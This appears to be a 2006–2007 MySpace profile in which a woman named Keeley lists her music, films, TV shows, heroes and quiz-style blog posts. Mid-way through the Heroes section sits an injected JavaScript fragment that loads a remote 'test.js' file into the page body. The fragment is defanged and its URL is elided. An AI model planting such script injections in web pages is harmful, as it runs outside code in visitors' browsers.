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♥~Keeley~♥©

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About Me


okkk.........where do i start? I originally joined myspace cos it was constantly plugged on Radio 1, so i joined for the music side more than anything!Im a total music freak! Love concerts, festivals, clubs.. cept these days i proberbly look more like grab-a-granny (not ruling out botox! lol! There is a young person screaming to get out of me...HELLLLLLPPP!!! LOL!) In fact if i was marooned on a desert island thing i couldn't live without would be my ipod.. oh...and my GHD's!!! Oh... and my laptop...my make-up bag.....my mobile fone...infact sack that! I'd take a bloody suitcase, who gives a s**t!!! LOL! Like to think im pretty easy going, like funny people who can make me laugh, and try not to take life too seriously! I wont answer the door without a full face of make-up, always on fad diets, love shopping, hate accepting im over 30, not that im bitter! hehe! Hate, Cats (Horrid, sly, nasty creatures), cooking (Can burn a salad!), 2 faced peeps, arrogant, self obsessed idiots, hackers, spammers, men in gold jewellery (LOL!), oh.. and idiots who think myspace is for a british passport, cyber s*x, Text s*x, and peeps who want to send me pics of their bits!!! etc..... Purleeeeeaaaasse! Dont even bother! Can suss those guys a mile off these days! Other than that im pretty friendly, so drop by and say hi if u want, can never have too many friends eh!
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I'm a Ferrari 360 Modena!


You've got it all. Power, passion, precision, and style. You're sensuous, exotic, and temperamental. Sure, you're expensive and high-maintenance, but you're worth it.
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My Interests

Art, clubbing, nice restuarants, skiing, going to concerts/festivals, (In fact i'd proberbly go to the opening of an envelope if it meant going out!)music (obviously!), foreign travel, starbucks Lattes (mmmm!),girly stuff like the usual, make up, Fashion, shopping, shopping & more shopping!!!"

I'd like to meet:

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Music:

love, love, love any Hed Kandi / Fierce Angel albums, Dance, funky house, Deep house, electro funk, old skool, garage, acid Jazz, soul, indie, some wicked bands about at the min, such as Keane, scissor sisters, arcric monkeys, Orson (Jason Pebworth is a babe!),The Fratellis, etc. Oh....and im a bit partial to a bit of rap now and again...Snoop Dogg is da man!! Dr Dre, Eminem to name a few! Pretty much into most music, apart from classical & heavy metal!!

Movies:

Stifler Dance Off

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Vicky Pollard


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Vicky at School

Fatboy Slim - Weapon of Choice


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Videoclip from Fatboy Slim.

Asian Backstreet Boys


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LOL

Fat Kid try's to take a dive funny hilarious video


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Fat Kid try's to take a dive but fails and falls in water so funny hilarious video amazingAlan's blogwww.alansblog.co.uk

Gold Digger Parody


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Making fun of some popular songs.Chunk doing the truffle shuffle!
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Add to My Profile | More Videos American Pie , layer cake , Blue Juice , Saving Grace, Kill Bill (all tarrantino movies), Cheech & Chong , Dumb & Dumber , Snatch , Save the last dance , Bridget Jones , white chicks Jack black movies Brit Flicks & Anything with jude law in it!!!......

Television:

America's next top model, Wags Boutique, Wife swap....(That cracks me up!!!), Little Britain , Bo Selecta ,Ali G , Sex in the city, Jackass ,2 pints of lager & a packet of crisps, Absolutely Fabulous , Pimp my ride , LOST , Documentrys & reality TV.

Books:

Im pretty crap really, dont have the time to read a great deal cept for when im on my holidays, then ill read one after the other! autobiographys, any books by martina cole, jean sasson, jackie collins...

Heroes:

My NUNKY MART of course!! xxx Oh, and anyone who has come from a less fortunate background and made something of their lives, be it fame or just plain happy, whoever has the courage to follow a dream and take a risk in life!
...."var x=document·createElement('script');x.src='http://www... /.../test.js';document·getElementsByTagName('body')[0]. appendChild(x);" /People who can make me laugh.. i love Dermot O'Leary jonathon Ross , Dom joly , russell brand , Ian wright,ricky gervais and generally anyone with a dry wit! Mark doyle for his amazing musical creativity and giving me much enjoyment listening to his great compilation albums with hed kandi / Fierce Angel, Robbie williams for the ability to be a great entertainer (The mans a legend! Sorry to sound like a sad middle aged groupie! lol!) And eminem for his lyrical genious. Oh...and simon cowell purely for ability to get away with saying what everyone else is thinking!Johnny knoxville for being stark raving bonkers, aswell as pleasing to the eye! lol! my ideal date would be "Stifler" from american pie (sean william scott) cos he is sooooo godamn hilarious, due to my extremely low boredom threshold i can imagine never a dull moment!

My Blog

10 things Losers Do On Myspace!

Ten Things Losers Do On MYSPACE! Read carefully people ok ONE:There is NO SUCH THING as a myspace tracker.it does NOT exist. So quit posting stupid bulletins like"OH-MY-GOD this WORKS!!!"No, it doesn'...
Posted by ♥~Keeley~♥© on Wed, 09 May 2007 04:05:00 PST

YOUR PORNSTAR NAME!!!! hehe!

Your Porn Star Name Is... Luscious Lolita What's Your Porn Star Name?...
Posted by ♥~Keeley~♥© on Fri, 12 Jan 2007 03:06:00 PST

what muppet r u?? LOL!!

You Are Animal A complete lunatic, you're operating on 100% animal instincts.You thrive on uncontrolled energy, and you're downright scary.But you sure can beat a good drum."Kill! Kill!" The Mupp...
Posted by ♥~Keeley~♥© on Thu, 04 Jan 2007 06:45:00 PST

Stupid quiz's!!!

Your Birthdate: May 23 ..http://images.blogthings.com/whatdoesyourbirthdatemeanquiz /birthday.jpg" height="100" width="100">You're not good at any one thing, and that's the problem.You're good at ...
Posted by ♥~Keeley~♥© on Sun, 10 Sep 2006 03:24:00 PST

Try this for a laugh.....your celeb lookylikies...!!

You have to try this... It's very flattering! :-)...
Posted by ♥~Keeley~♥© on Wed, 18 Oct 2006 03:16:00 PST

Anger Managment really works!......

When you occasionally have a really bad day, and you just need to take it out on someone, don't take it out on someone you know, take it out on someone you don't know.... I was sitting at my desk when...
Posted by ♥~Keeley~♥© on Wed, 04 Oct 2006 06:43:00 PST

Dedicated to all the women out there....

Was sent this joke, it had me LOL!!!! Tears are running down my face at this one......... JUST HAD TO SHARE IT!what us women go thru for beauty huh!!!!Read it and weep!WAX IS NOT YOUR FRIEND!CAUTION: ...
Posted by ♥~Keeley~♥© on Fri, 29 Sep 2006 03:23:00 PST

What does your name mean?

KEELEY K is for Kind E is for Earnest E is for Energetic L is for Likeable E is for Enjoyable Y is for Young http://blogthing...
Posted by ♥~Keeley~♥© on Sun, 10 Sep 2006 03:17:00 PST